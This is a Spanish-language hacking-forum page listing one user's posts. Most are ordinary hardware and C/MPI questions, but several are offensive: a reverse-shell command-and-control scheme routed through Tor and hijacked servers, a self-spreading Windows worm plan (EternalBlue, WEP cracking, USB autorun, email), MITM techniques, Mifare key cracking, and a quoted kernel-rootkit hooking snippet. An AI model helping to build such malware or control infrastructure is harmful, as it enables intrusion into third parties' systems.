Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Skali

#1
Buenas a todos! Quiero correr un pequeño servidor web en una Raspberry Pi 3 B+. Tengamos en cuenta que sus recursos son bastante limitados:

Broadcom BCM2837B0, Cortex-A53 (ARMv8) 64-bit SoC @ 1.4GHz
1GB LPDDR2 SDRAM

aunque no pretendo tener un servidor web con muchos clientes. De todas maneras me gustaría instalar el SO y el servidor web más liviano para trabajar con la raspberry y lograr poder procesar la mayor cantidad de requests antes de que se sature. Como SO creo que me inclino por Arch Linux, ya que viene pelado y uno le instala solo lo que necesita. Como servidor web me inclino por NGINX o lighthttpd. Quiero saber que piensan ustedes, que SO recomiendan y cuál serivor web, si NGINX o lighthttpd. Muchas gracias desde ya!

* Agrego *

Noté que hay ejemplares que se venden con un gabinete con cooler. Quería saber si creen que es recomendable comprarlo con cooler para lo que yo quiero hacer. De todos modos leí que el SoC detecta cuando la temperatura llega a los 80°C y empieza a reducir la activida para protegerse... Gracias desde ya
#2
Muy buenas a todos! Les comento lo que busco. Tengo un apache corriendo sobre una VM de linux, que es accesible por Internet. El server forma parte de mi LAN por el momento, en la que además del server hay PCs de escritorio, celulares, tv, el router. Quiero saber como aislar mi servidor web accesible por Internet del resto de mis dispositivos, para evitar que si un atacante logre tomar el control sobre mi server, no pueda hacerme ataques MITM al resto de equipos de mi red, ni explotar vulns en puertos solo accesibles desde la LAN, etc. Mi ambiente es muy casero, tengo un router TP-Link TL-WR841N. No se si necesitare hacer algo como cambiarle el firmware a mi router para poder crear VLANS, o si neceitare una VM extra con pfSense y alguna config en especial. Recuerden que el server corre sobre una VM en VirtualBox. Muchas gracias desde ya por la ayuda!
#3
Que tal! Muy buenas! Estaba estudiando un poco la herramienta masscan, que puede llegar a ser muy, muy rápida para escanear puertos, si somos capaces de enviar una alta cantidad de paquetes por segundo. La herramienta indica que para lograr enviar la mayor cantidad de paquetes por segundo necesitamos una tarjeta de red con el estandar más rápido que es 10 Gigabit Ethernet junto con un driver llamado PF_RING. Algo que no indica el README.md de la herramienta tiene que ver con el límite de tasa de transferencia ofrecidos por los ISP's. Por ejemplo, Fibertel ofrece como máximo un paquete con una tasa de transferencia de 300Mb/s. Si adquiero una tarjeta de 10Gb/s, y conecto el cable que me llega de fibertel directo a la tarjeta, de todas formas tendría un cuello de botella y la tasa máxima de transferencia sería de 300Mb/s... Mi duda entonces es... En qué entorno se supone que pueda aprovechar los 10Gb/s de transferencia de la tarjeta ethernet? Que clase de proveedor podría llegar a brindarme una tasa de transferencia de 10Gb/s? Se que saldría una fortuna, pero me mata la curiosidad de saber la respuesta a ésta duda. Si estoy equivocado en algo de lo que estoy planteando, por favor corrijanme, y eviten respuestas ofensivas, solo soy una persona curiosa, ética, y con ganas de aprender. Saludos y muchas gracias desde ya!
#4
Buenas! Me cuesta entender algunas cosas relacionadas con el caos de frecuencias de radio que no podemos ver, pero que los access points y adaptadores inalambricos puden captar, y determinar inicio y fin de cada paquete... Entiendo que WiFi por ejemplo usa CSMA/CA para evitar colisiones entre estaciones pertenecientes al mismo BSS... Èsto me hace entender que existe un òrden dentro del BSS, pero y los paquetes que van y vienen de/hacia otro BSS? Y còmo es que todos los paquetes no se mezclan entre si y los dispositivos puedan determinar perfectamente inicio y fin de cada trama?

Muchas gracias desde ya por ayudar a despejar mis dudas!

Saludos.
#5
Hola gente! Buen día! Luego de las conversaciones en el foro de hace una semana sobre TOR y privacidad, decidí instalar Tortilla, una herramienta de la que había leído pero no había probado. Seguí los pasos de nuestro colega #!drvy, a través de éste post:

https://foro.elhacker.net/seguridad/tutorial_tortilla_tor_privacidad-t409824.0.html;msg1970898


y logré instalarlo satisfactoriamente, pero ahora me surgen algunas ideas, y varias dudas que me gustaría plantear y debatir... (tengan en cuenta que no pretendo implementar ninguna de las ideas que voy a mencionar al final, solo quiero informarme y sacarme dudas):

Mientras se utilice Tortilla es imposible levantar un servidor de cualquier tipo en la VM que utiliza la interfaz de red de Tortilla, asi como utilizar metasploit escuchando en un puerto en espera de una shell inversa, ya que, la única forma de conectarnos a internet es cuando nosotros somos quién inicia la conexión, ya que sino, en caso de que alguien se quiera conectar a un servicio nuestro, como nos identificaría? La IP privada de la VM es la misma que la de la máquina host, y la pública es la del exit node de tor... Entonces supongo que el que tendría que estar configurado para escuchar en un puerto y devolvernos la conexión a nosotros sería el exit node, pero al no controlarlo, se haría imposible. Corríjan por favor cualquier conclusión incorrecta de éste párrafo.

Para poder controlar remotamente otra PC previamente comprometida, la forma sería a través de una conexión directa (y no inversa), y que la PC que queremos controlar, sea la que esté escuchando en un puerto, ya que de ésta forma todo funciona perfectamente, y la PC remota vería la IP del exit node de tor y no la nuestra, como se esperaría...

Nota: cuando hablo de conexión directa, me refiero a lo contrario de la inversa, es decir, que seamos nosotros el que inicia la conexión y el destino quién esté escuchando, aunque la conexión directa la hagamos a través de TOR...

Como sabemos, conectarnos de forma directa a una PC que hayamos infectado (dejándola en escucha y siendo nosotros quien inicia la conexión), no siempre es tan sencillo, ya que puede ser que exista un NAT, y necesitemos acceder al router de la red de la pc remota para configurar el forwarding. A veces si es muy facil ya que se deja el password del router por defecto, o habilitado UPnP, lo que nos permite hacer forwarding sin saber el password, asi como posibles vulnerabilidades en los routers...

Se me ocurrió un esquema, que nos permitiría controlar cómodamente dispositivos infectados teniendo en cuenta el NAT, y manteniendo nuestro anonimato. Estoy seguro que  el esquema que yo voy a plantear es usado por muchos atacantes, pero quiero contarlo para poder debatir sobre él luego:



Como ven, la idea es que si logramos el acceso a algún servidor (preferentemente con Linux, que tenga poco tráfico y no sea muy supervisado), si éste no se encuentra detrás de un NAT, (o bien logramos controlar al NAT), podemos dejarlo escuchando en un puerto, que luego al conectarnos, nos daría una shell. Ésta conexión se podría realizar tranquilamente a través de TOR. Luego, los demás dispositivos que controlemos, que puedan estar detrás de un NAT, haremos que le envíen una reverse shell al servidor Linux que controlemos (nuestro "centro de operaciones"). De ésta forma, podemos controlar a los dispositivos finales, a través de nuestra conexión directa con el "centro de operaciones", sin necesidad de enfrentarse con el NAT de todos los dispositivos bajo nuestro control. Me parece importante tener más de un servidor de "centro de operaciones", y que los dispositivos finales se traten de conectar a los dos, para descentralizar un poco, y que si el día de mañana pasa algo en alguno de los servidores Linux, todavía tengamos el otro. Los comandos que puse de nc en la foto, son para tomar como referencia, pero podríamos usar metasploit, o en caso de los dispositivos finales, hacer que envíen la reverse shell cada X segundos, para mantener el acceso efectivamente.

Bueno, ahora que plantié dicho esquema, me gustaría discutir sobre él. Mis preguntas son: éste esquema es muy usado por atacantes? Que cambios le harían? Existe alguna alternativa mejor? Si un administrador de cualquier dispositivo final inspecciona el tráfico, vería tráfico entrante y saliente hacia el Linux de nuestra base de operaciones... El dueño del servidor, podría tener que pagar el precio de nuestras malas acciones?

Gracias desde ya!


#6
Buenas! Les comento mi duda. Tengo Linux Mint con kernel 4.10.x. En éste mismo kernel instalé los drivers para el adaptador inalámbrico TP-LINK TL-WN722N (el famoso adaptador blanco con una antena). En un principio, antes de instalar el driver correspondiente, el SO no reconocía al adaptador. No se podía ver desde ifconfig ni iwconfig. Luego de instalar el driver correspondiente, empecé a ver la interfaz con dichas herramientas, (y también desde la parte gráfica).

Ahora cambié el adaptador por un TP-LINK TL-WN8200ND (uno más potente con 2 antenas). Linux me reconoce el dispositivo al conectarlo, pero cuando intento conectarme al wifi introduciento correctamente la contraseña, no puedo acceder, me sale el cartel de que se me desconecto (en realidad sin nunca haberse conectado). Pensé que tal vez el driver preexistente en Linux no sea el correcto, o esté desactualizado. En internet encontré guías que te explican como instalar los drivers para mi adaptador, tanto con drivers nativos para Linux, como la alternativa de instalar ndiswrapper junto con los drivers de Windows.

A todo ésto, mi duda es la siguiente: antes de instalar el nuevo driver debería deshabilitar el driver que estaba preinstalado en Linux? Se que los drivers son modulos del kernel o LKM, pero quería saber cómo darme cuenta con lsmod o cualquier otra herramienta, cuál de todos los módulos es el que se está usando como driver para mi adaptador, y si es necesario deshabilitarlo antes de instalar el nuevo driver que te muestran en las distintas guias.

Espero que hayan entendido mi duda. Cualquier otra información que necesiten, me preguntan. Gracias desde ya!!! Saludos.
#7
Buenas que tal!!! No se si sea claro, pero voy a tratar de ser lo más genérico posible. Necesito obtener el resultado de una función para tomar una decisión antes de la etapa de preprocesamiento. Dependiendo de ese valor, tengo que tomar una decisión para definir un código u ótro código, pero el valor solo se como obtenerlo empleando una función, que se ejecuta luego del preprocesamiento... Quería saber como resolver ésta clase de problema.
#8
Buenas! que tal? Les quería preguntar a qué se debe éste fenómeno que estoy experimentando. Tengo mi amplificador Panasonic del 1200 antes de cristo. Éste modelo específicaemente:




y lo tengo conectado x auxiliar a la salida de audio de mi pc. Suelo enchufar mis auriculares a la salida: "phono" de dicho ampli. A veces mientras tengo la musica en pausa sin otro sonido reproduciendoce desde el pc, se oye la radio haciendo interferencia, muy tenuemente, y parpadea el led de la parte de arriba "quartz lock", que está justo al lado del display en la parte de arriba a la izqueirda del ampli.

A qué se debe éste fenómeno?
#9
Buenas, estaba analizando el código fuente de un kernel rootkit, y leyendo la documentación de las apis que se utilizan más o menos me estoy dando mania, aunque hay lineas que tal vez me cuestan bastante comprender, como ésta:

*(void **)&((char *)h->original_function)[ASM_HOOK_CODE_OFFSET] = h->modified_function;

Aquí les dejo un fragmento del rootkit para que les sea más facil entender:

// ========== ASM HOOK LIST ==========

#if defined __i386__
   // push 0x00000000, ret
   #define ASM_HOOK_CODE "\x68\x00\x00\x00\x00\xc3"
   #define ASM_HOOK_CODE_OFFSET 1
   // alternativly we could do `mov eax 0x00000000, jmp eax`, but it's a byte longer
   //#define ASM_HOOK_CODE "\xb8\x00\x00\x00\x00\xff\xe0"
#elif defined __x86_64__
   // there is no push that pushes a 64-bit immidiate in x86_64,
   // so we do things a bit differently:
   // mov rax 0x0000000000000000, jmp rax
   #define ASM_HOOK_CODE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
   #define ASM_HOOK_CODE_OFFSET 2
#else
   #error ARCH_ERROR_MESSAGE
#endif

struct asm_hook {
   void *original_function;
   void *modified_function;
   char original_asm[sizeof(ASM_HOOK_CODE)-1];
   struct list_head list;
};

LIST_HEAD(asm_hook_list);

/**
* Patches machine code of the original function to call another function.
* This function should not be called directly.
*/
void _asm_hook_patch(struct asm_hook *h)
{
   DISABLE_W_PROTECTED_MEMORY
   memcpy(h->original_function, ASM_HOOK_CODE, sizeof(ASM_HOOK_CODE)-1);
   *(void **)&((char *)h->original_function)[ASM_HOOK_CODE_OFFSET] = h->modified_function;
   ENABLE_W_PROTECTED_MEMORY
}


Link del rootkit: https://github.com/nurupo/rootkit/blob/master/rootkit.c

no quiero que me expliquen todo el código, solo quiero saber como interpretar la línea que marqué más arriba (sería la línea 36 en éste fragmento).

Muchas gracias desde ya. Saludos

#10
Buenas a todos! Quería saber si estoy acertado en lo que digo o si me estoy equivocando feo. Según lo que leí, el firmware es el software que controla físicamente al hardware y que se suele encontrar en chips ROM/EEPROM. Mi duda es la siguiente. Los progrmas que uno escribe y graba sobre Arduino son considerados firmware? Para mi es asi, ya que sería software que controla a los componentes físicos y se encuentra en la memoria EEPROM de Arduino. Gracias de antemano.

Saludos
#11
Electrónica / Cual UPS/SAI prefieren?
18 Mayo 2018, 23:45 PM
Buenas! Hace una semana perdí un disco rígido y mi papá una fuente de alimentación (el mismo día), por cortes de luz. Me quiero comprar un UPS/SAI y quería ver que opinaban ustedes. Quiero uno ecónomico, pero quiero que me digan si los que les muestro son buenos o no son tan confiables.

Opción 1:

https://articulo.mercadolibre.com.ar/MLA-621215255-ups-estabilizador-trv-neo-650-650va-4-tomas-2-anos-gtia-_JM

Opción 2:

https://articulo.mercadolibre.com.ar/MLA-613299605-ups-estabilizador-lyonn-ctb-800a-800w-800va-soft-mexx-_JM


El primero es marca Trv, de 650w, muy barato.
El segundo es marca Lyoon de 800w ligeramente más caro.

Mi PC tiene una fuente de 500w y también habría que sumarle el monitor, que es un Samsung VGA de 23'. Quería que me dijeran si me conviene pagar la diferencia de precio para tener 150w, aunque yo creo que con mi PC y mi monitor con 650w estaría bien... Pero por ahí la marca del primero no es tan buena como la del segundo o viceversa... Quiero que me den una recomendación. Y si quieren recomendar otro tambien, pero que sea económico.

Actualizo:

Opción 3:

https://articulo.mercadolibre.com.ar/MLA-619644676-ups-asium-850va-usb-rj11-hogar-oficina-estabilizador-_JM

Éste cuesta lo mismo que el Trv de 650w (el más barato), y es de 850w. Marca Asium. No se que tan confiable sea con esa relación potencia costo...


Gracias!
#12
Buenas, me estoy haciendo un lio barbaro con los tipos en C. Estoy trabajando con strings y MPI. Necesito una variable que almacene un array de textos, en la que cada texto sería un array de strings, en el que cada string es un array de char...

Cada proceso worker necesita encontrar las 5 palabras que más aparecen en un texto. Hasta ahora lo que podría hacer es:

char palabrasQueMasAparecen[5][tamanioPalabra];

o bien:

char *palabrasQueMasAparecen[5];

for(int palabra=0; palabra<5; palabra++) {
     palabrasQueMasAparecen[palabra] = (char *) malloc(sizeof(char) * tamanioPalabra);
}


El asunto es que necesito almacenar en una misma variable, las palabras que más aparecen de cada uno de los procesos. Entonces pensé en algo como:

char palabrasQueMasAparecen[cantProcesos][5][tamanioPalabra];

o bien:

char *palabrasQueMasAparecen[cantProcesos][5];

for(int proceso=0; proceso<5; proceso++) {
for(int palabra=0; palabra<5; palabra++) {
palabrasQueMasAparecen[proceso][palabra] = (char *) malloc(sizeof(char) * tamanioPalabra);
}
}


El problema es que cada proceso tiene que enviar las 5 palabras que más usa al proceso maestro, a través de la función MPI_Send(), cuyo primer parámetro es la dirección de un buffer.

Como cada proceso debería enviar sus 5 palabras, yo pensé que cada uno debería enviar como primer parámetro de ésta función:

&palabrasQueMasAparecen[idProceso];


pero el programa está crasheando cuando lo quiero correr, y estoy seguro de que estoy usando mal los tipos, y estoy enviando mal el primer parámetro a dicha función... Necesitaría que me den una idea de como usar los tipos correctamente para resolver éste problema.

Muchas gracias desde ya!
#13
Programación C/C++ / Matrices con punteros
15 Mayo 2018, 18:48 PM
Buenas! Qué tal? Les comento mi problema. Necesito enviar el offset de cada fila de una matriz cuadrada a través de la función MPI_Send(). La matriz está implementada a través de punteros, por lo cuál sus valores se almacenan en la heap y no en el stack como ocurre con las matrices comunes de la forma: matriz[fila][columna]. Les muestro como las estoy implementando. Imaginemos que en éste caso tenemos una matriz de 4x4 y la inicializamos con 1 en todos sus campos.

//Dimension de la matriz cuadrada
int N = 4;

//Declaracion de la matriz
int *A;

//Alocacion de memoria dinamica para la matriz
A = (int *) malloc(sizeof(int) * N * N);

//Inicializacion de todos los campos de la matriz en 1
for (int fila=0; fila<N; fila++) {
    for (int columna=0; columna<N; columna++) {
        A[fila*N+columna]=1;
    }
}


La matriz resultante en éste caso sería una matriz asi:

1 1 1 1
1 1 1 1
1 1 1 1
1 1 1 1

Ahora lo que necesito es enviar la dirección de cada fila a través de la función MPI_Send(), la cuál en su primer parámetro recibe un puntero a buffer. Aca les dejo una parte del manual de Mpi_Send:

Citar#include <mpi.h>
int MPI_Send(const void *buf, int count, MPI_Datatype datatype, int dest,
    int tag, MPI_Comm comm)

Input Parameters

buf
    Initial address of send buffer (choice).
count
    Number of elements send (nonnegative integer).
datatype
    Datatype of each send buffer element (handle).
dest
    Rank of destination (integer).
tag
    Message tag (integer).
comm
    Communicator (handle).

Lo que no se es cómo enviar el primer parámetro, me estoy volviendo loco con los tipos  de datos y los punteros. Espero que me puedan dar una mano. Las matrices si o si deben utilizarse con memoria dinámica como mencioné en el código de arriba. Muchas gracias desde ya. Saludos
#14
Hardware / Disco duro averiado
14 Mayo 2018, 03:05 AM
Buenas! Que tal. les comento mi problema. Tengo un disco HDD de 1TB. Hoy estaba usando la computadora normalmente hasta que se corta la luz. Luego de 30 minutos vuelve, y vuelvo a encender la PC. Luego de encenderla, un síntoma que tuvo es que  lo que quería buscar dentro de una carpeta, tardaba más de lo normal (más recientemente, despues de leer, me di cuenta que éste es un síntoma que dice que el disco rígido está empezando a andar mal y que uno debería hacer un backup). Bueno, luego de ésto, se volvió a cortar la luz. Luego de 10 minutos volvió, y volví a encender la PC, ésta vez cuando está por arrancar windows, la pantalla permanece negra y en la parte de arriba se ven pixeles de varios colores. El disco hace bastante ruido y la luz del disco parpadea constantemente. Hice todas las pruebas necesarias para descartar otros componentes como GPU, RAM, pero noté que el problema era del disco. Al bootear el instalador de WIndows por USB, lo bootea perfectamente, y los colores se ven bien. Luego probé cambiar los cables de alimentacion y SATA del disco por otros  y nada... Luego probé enchufar el disco en otra PC de mi casa, y en éste caso la mother dice que directamente no puede botear, que el dispositivo está fallado. Luego probé enchufarlo como disco secundario en esa misma PC, y bootear desde el disco que tenía originalmente la PC. Una vez adentro de Windows, no me reconoce al disco con problemas como otra unidad. Un dato importante es que el BIOS si me reconoce el disco problemático. Qué puedo hacer en éste caso? Gracias desde ya. Saludos!


* Actualizo *

Me cargué el HDD regenerator en un pendrive, y luego cuando quería encender mi pc con el disco dañado conectado, éste vez ni el BIOS me lo está reconociendo... Probé con otro cable de alimentación y SATA y tampoco lo reconoce... Probé los mismos cables con otro disco en buen estado, y si reconoce al disco en buen estado... Hay algo que se pueda hacer en ésta situacion? Gracias.
#15
Hardware / Duda sobre SATA, AHCI e IDE
25 Febrero 2018, 19:13 PM
Mi pregunta es sencilla... Un disco conectado con cable SATA pero configurado en el BIOS como compatible con IDE en lugar de AHCI viene a funcionar exactamente igual que un disco conectado físicamente con un cable IDE?

Se muy bien como lucen ambos cables, y también que AHCI es la especificación que se hizo para SATA, y que añade la posibilidad de quitar los discos mientras la PC está prendida y también utiliza NCQ que hace que las operaciones de disco sean mas veloces... Pero si tenemos un disco con cable SATA configurado como IDE, funcionaría exactamente igual que un disco con cable físico IDE?

Saludos y gracias.
#16
Buenas! Les comento mi problema. En primer lugar tengo un moto G Titan 2014. Había instalado cyannogenmod 14 hace varios meses y nunca tuve inconvenientes hasta hace unos días que de repente me dejó de detectar la SIM. Cuando abro el celu me indica claramente que no tengo SIM, no tengo conexion de datos, ni puedo ver los contactos almacenados en la SIM ni nada. Primero probé poner mi SIM en otro móvil y resulta que la SIM funcionaba bien en el otro móvil. Luego probe poner otra SIM en mi móvil y no la reconocio. Entonces hasta ahora tenemos que mi SIM no es el problema sino mi móvil. Luego intenté con un factory reset pero mi celu sigue sin detectarme la SIM, inclusó volví a flashar cyannogenmod con TWRP y me sigue pasando lo mismo. Lo extraño es que cuando voy a la sección de confuguración Más > Redes móviles, al meterme en el apartado Redes móviles automáticamente me sale una ventana diciendome que el proceso com.android.phone se detuvo. Y ésto me sigue pasando cada vez que quiero meterme en la configuración de Redes móviles aún habiendo flashado cyannogenmod pocos minutos atras...

Me gustaría que me dijeran que más puedo probar. Es posible que el celular se haya humedecido un poco un día de lluvia, pero me parece raro de todas formas. Si es algo físico debería desatornillar mi celu pero necesitaría conseguir el destornilaldor especial en estrella para el tipo de tornillo que usa. De todas formas antes de meter mano en lo físico, el problema de com.android.phone me parece muy raro y desconcertante, ya que parece que el problema tuviera que ver con el soft, pero el soft está recién flashado... :/

Gracias desde ya, saludos!
#17
Hardware / Duda sobre RAM y CPU
23 Enero 2018, 01:24 AM
Muy buenas. Mi papá se compró una computadora usada muy económica con la intención de usarla para navegar por internet, usar facebook y descargar cosas (no tiene mucho dinero para comprar una más actual). Tiene:

-Pentium 4 CPU 3,00GHz 3,01GHz
-448MB de RAM DDR2

Me dice que no la puede usar para nada, que anda demasiado lenta, tiene problemas para abrir el navegador y se está volviendo loco... Ahora está utilizando Windows XP SP3.

Yo pensé en que tal vez comprando 2GB más de RAM DDR2 podría solucionar su problema, pero la verdad no tengo experiencia con el procesador... Yo siemrpe fui más de usar AMD. Quería saber sus opioniones, sobre si ese micro puede safar para lo que mi papá quiere usarla... Memoria se muy bien que medio GB hoy en dia NO ES NADA. Pero espero que con 2,5GB y el mismo micro pueda usarla sin drama. Después pensaba instalarle el Windows 7 de 32 bits ya que el procesador es de 32 bits y que el XP a ésta altura quedó obsoleto.

Bueno, muchas gracias por adelantado!

Saludos
#18
Buenas! Hace un tiempo me compré un Arduino Uno junto con un lector de tags RFID RC522, luego de aprender algunas cosas sobre el funcionamiento de la tecnología y las tarjetas Mifare, quise probar las herramientas mfcuk, mfoc para obtener las claves de uno/todos los sectores, a través de los conocidos ataques Nested y Dark Side attack. Según estuve leyendo la librería libnfc que utilizan mfcuk, mfoc y nfc-list, no tiene soporte para el lector RC522, aunque si para el PN532...Quería saber si conocen algún otro software para poder romper la seguridad de los tags rfid a través de mi módulo RC522, sin tener que comprarme el PN532... Les agradezco de antemano. Saludos
#19
Software / Los simuladores
8 Diciembre 2017, 03:14 AM
Buenas! Quería presentarles una serie que seguramente les va a gustar mucho. Es la serie más famosa de Argentina, y tiene más de 10 años, tal vez algunos la conozcan. Se trata de un grupo de 4 personas que hacen simulacros, fingiendo ser otras personas, investigando y preparando todo un operativo para resolver problemáticas de índole doméstica. La verdad que las ideas del productor fueron increibles, y puede llegar a relacionarse mucho con nuestro mundillo. Es pura ingeniería social, hay muchas ideas que inclusive le pueden abrir la cabeza a uno, con la diferencia de que su objetivo no es obtener información secreta ni infiltrarse en sistemas, sino resolver problemas domésticos de gente normal.



Está en Netflix y también en youtube, aca les dejo el link del primer capítulo:

https://www.youtube.com/watch?v=Yl-VY6eNivk

Espero que comenten que les pareció tanto a los que la van a empezar a ver ahora como los que la hayan visto tiempo atrás. Saludos!
#20
Buenas! Quería saber si los interpretes de lenguajes interpretados como ruby, python, java, php, etc, estan programados en C o C++, y son ejecutables compilados especificamente para cada plataforma, en formatos como ELF, PE, de 32, 64 bits, etc, o si tal vez no estoy acertado en lo que digo.

Saludos!
#21
Electrónica / MicroSD dañada
28 Noviembre 2017, 23:23 PM
Buenas! Resulta que quería pasar la MicroSD Kingston de 32gb de mi Samsung a mi nuevo Motorola. La tengo hace aproximadamente 3 años. Primero la tenía en mi Alcatel, luego se me rompió y la pase a mi Samsung, y ahí se mantuvo todo el tiempo sin sacarla ni ponerla nunca... La tenía casi llena, de cosas que ya no necesitaba, entonces lo moví todo a una carpeta en mi computadora... Ésto tardó un poco más de una hora ya que había que mover como 30gb de la SD al disco... El procedimiento lo hice con la SD adentro del Samsung conectado por usb... Luego al ponerla en el Motorola, no me la reconocía, y luego la quise formatear de varias formas, y siempre me devuelve algún error. La PC la reconoce y reconoce bien su capacidad, y adentro quedaron archivos sin eliminar, que luego cuando los vuelvo a borrar, y cuando estoy en la parte de (en la prueba 3):

create partition primary

me devuelve un error y luego los  últimos archivos que quedaban, que volví a borrar, vuelven a aparecer... Intenté lo siguiente:


Prueba 1: formatear a través del GUI. (tanto con el modo slow como con el modo fast)

Obtengo:

Windows no pudo completar el formato



Prueba 2: diskpart método 1:

C:\Users\Skali>diskpart

Microsoft DiskPart versión 6.1.7601
Copyright (C) 1999-2008 Microsoft Corporation.
En el equipo: SKALI-PC

DISKPART> list volume

 Núm Volumen Ltr  Etiqueta     Fs     Tipo        Tamaño   Estado     Info
 ----------- ---  -----------  -----  ----------  -------  ---------  --------
 Volumen 0     J                      DVD-ROM         0 B  Sin medio
 Volumen 1         Reservado   NTFS   Partición    100 MB  Correcto
 Volumen 2     C   Disco loca  NTFS   Partición    618 GB  Correcto   Sistema
 Volumen 3     D               NTFS   Partición    312 GB  Correcto
 Volumen 4     H               FAT32  Extraíble     29 GB  Correcto
 Volumen 5     I                      Extraíble       0 B  Sin medio
 Volumen 6     K                      Extraíble       0 B  Sin medio
 Volumen 7     L                      Extraíble       0 B  Sin medio

DISKPART> select volume 4

El volumen 4 es el volumen seleccionado.

DISKPART> format fs=fat32 quick

   0 por ciento completado

DiskPart ha encontrado un error: El parámetro no es correcto.
Consulte el registro de eventos del sistema para obtener más información.

DISKPART>



Prueba 3: diskpart método 2:

C:\Users\Skali>diskpart

Microsoft DiskPart versión 6.1.7601
Copyright (C) 1999-2008 Microsoft Corporation.
En el equipo: SKALI-PC

DISKPART> list disk

 Núm Disco  Estado      Tamaño   Disp     Din  Gpt
 ---------- ----------  -------  -------  ---  ---
 Disco 0    En línea     931 GB     8 MB
 Disco 1    En línea      29 GB      0 B
 Disco 2    No hay med      0 B      0 B
 Disco 3    No hay med      0 B      0 B
 Disco 4    No hay med      0 B      0 B

DISKPART> select disk 1

El disco 1 es ahora el disco seleccionado.

DISKPART> clean

DiskPart ha limpiado el disco satisfactoriamente.

DISKPART> create partition primary

No se encontró ninguna extensión disponible utilizable. Es posible que
no haya suficiente espacio disponible para crear una partición con el
tamaño y desplazamiento especificados. Especifique valores de tamaño y
desplazamiento distintos o no especifique ninguno de estos valores para
crear la partición con el tamaño máximo. Es posible que las particiones
del disco se crearan con el formato de particiones de disco MBR y
que el disco contenga cuatro particiones principales (ya no pueden crearse
más particiones) o tres particiones principales y una extendida (solo pueden
crearse unidades lógicas).

DISKPART>



Resultados del chkdsk:

C:\Users\Skali>chkdsk h: /f
El tipo del sistema de archivos es FAT32.
El número de serie del volumen es 9016-4EF8
Windows está comprobando archivos y carpetas...
Comprobación de archivo y carpeta completa.
Windows ha comprobado el sistema de archivos y no encontró problemas.
  30.575.616 KB de espacio total en disco.
       1.056 KB en 29 carpetas.
   1.287.008 KB en 127 archivos.
  29.287.520 KB están disponibles.

      32.768 bytes en cada unidad de asignación.
     955.488 unidades de asignación en disco en total.
     915.235 unidades de asignación disponibles en disco.
No se puede escribir en el sector de arranque.



Realmente no se si el gParted o algun otro software sirva para solucionar éste problema. No se si se tratará de algo físico. Yo igual cuando lo cambie de un celular al otro, verifiqué que ambos estuvieran apagados. No se, ustedes que dicen? Hace un tiempo me paso algo parecido pero con un pendrive, que traté de repararlo de 15.000 formas distintas y siempre me devolvía error... Que error puedo estar cometiendo? Saludos
#22
Redes / Metodos para hacer MITM
19 Noviembre 2017, 08:00 AM
Muy buenas! Hace tiempo descubrí el arp spoofing, que es el método más conocido y usado para hacer MITM, luego me enteré de otras técnicas que aprovechaban vulnerabilidades de DHCP, asi en el caso de que el arp spoofing esté mitigado a través de DARPI o algún otra técnica, el atacante tenga otra posibilidad para llevar a cabo el MITM. Se puede hacer un rogue DHCP que le juega una carrera al servidor DHCP real, y si el rogue le gana, entonces le puede decir al cliente que la IP del gateway es la IP del equipo del atacante. Luego surgió una técnica más sofisticada que es la de inyectar solo el paquete ACK, consiguiendo lo mismo, y utilizando los datos brindados por el paquete OFFER del servidor DHCP auténtico, para evitar tener que inventarlos. Todo ésto también puede ser mitigado en los dispositivos de red utilizando la técnica de DHCP snooping. Bueno, ahora lo que me gustaría preguntarles a ustedes es si conocen algún otra técnica tal vez un poco más avanzada para poder llevar a cabo un MITM.

Muchas gracias. Saludos!
#23
Que tal? Estaba leyendo el post sobre propagación a traves de torrent de hace un rato, y casualmente estaba interesado en éste tema. Aprendí a programar en mi carrera y aprendí algunas cosas relacionadas a la seguridad leyendo en internet, pero nunca utilice lo que se de programación para nada más que algún u otro script que me facilite algo... Pero ahora me gustaría construir un gusano de a poco, utilizando cosas que aprendí sobre seguridad, sobre un programa que automatice todo...  Primero quería plantear más o menos el esquema y se me ocurrió también implementar una idea que quería saber si ya es aplicada, o si aplicarla no sería tan sencillo o rentable.

Supongamos que el gusano está enfocado en afectar a sistemas Windows, y cuando se ejecuta sobre una PC, posee funciones para propagarse por torrent, por email, por usb, y otras dos funciones para propagarse sobre computadoras de su red:

1-Buscar puertos 445 abiertos en todos los hosts de la red e intentar vulnerarlos a través de Eternalblue.

2-Hacer DNS Spoofing y redirigir todo a un servidor controlado por el atacante que intente explotar vulnerabilidades de navegadores y pluggins.

Bueno, supongamos que tenemos todas éstas capacidades de propagación. Se me ocurrió también aplicar las dos funciones anteriores sobre otra red distinta a la que se encuentra la pc afectada por el malware.... Pensé en éste esquema:

-Buscar dispositivos inalámbricos conectados.
-Si hay mas de uno, verificar si se se encuentran conectados en redes inalámbricas distintas, en tal caso, aplicar las dos funciones anteriores en ambas redes.
-Colocar el dispositivo inalámbrico con mayor potencia/hardware detectado entre todos los que hay en modo monitor.
-Escanear redes inalámbricas cercanas en busca de WEPs.
-Por cada WEP detectada, intentar crackearla.
-Una vez crackeada, autenticarse en esa red y aplicar las dos funciones anteriores.

Podría agregarse alguna funcionalidad para crackear WPS también... O algún ataque de ingeniería social...

Finalmente, tendríamos los siguiente métodos de propagación:
-Torrent (dejar una semilla en cada PC infectada)
-Email (ingenieria social con el malware adjunto a las direcciones de correo que encuentre en la PC)
-USB (copiar el malware en los pendrive que encuentre y agregarle un autorun.inf)
-Red:(explotar fallo Eternalblue y vulnerabilidades de navegadores)
-Otras redes:(crackear redes wifi cercanas)

Bueno... Por ahora son solo ideas. Yo pienso que al tener tanta funcionalidad de propagación el malware podría llegar a ser muy pesado y se me hace dificil pensar en como integrar toda esa funcionalidad, ya que por ejemplo me gustaría aprovechar la suite de aircrack u otros scripts y embeberlos en el malware  y no tener que implementar toda la funcionalidad de crackeo desde 0...

Dudas:

En primer lugar me gustaría saber si es posible y rentable embeber por ejemplo la suite de aircrack en nuestro malware. O por ejemplo embeber el fuzzbunch a la hora de explotar el fallo eternalblue.

Por otra parte tengo la duda de que si cuanto más funcionalidades de propagación le agregue, el malware se vuelve cada vez más facil de ser detectado por la heurística del antivirus...  

Finalmente quería saber si se les ocurren o conocen otros método de propagación, ya que me parece un tema muy interesante el de lograr replicarse, y sobre todo automatizar muchos ataques distintos en un solo programa muy poderoso.

Hasta luego, y gracias de antemano.
#24
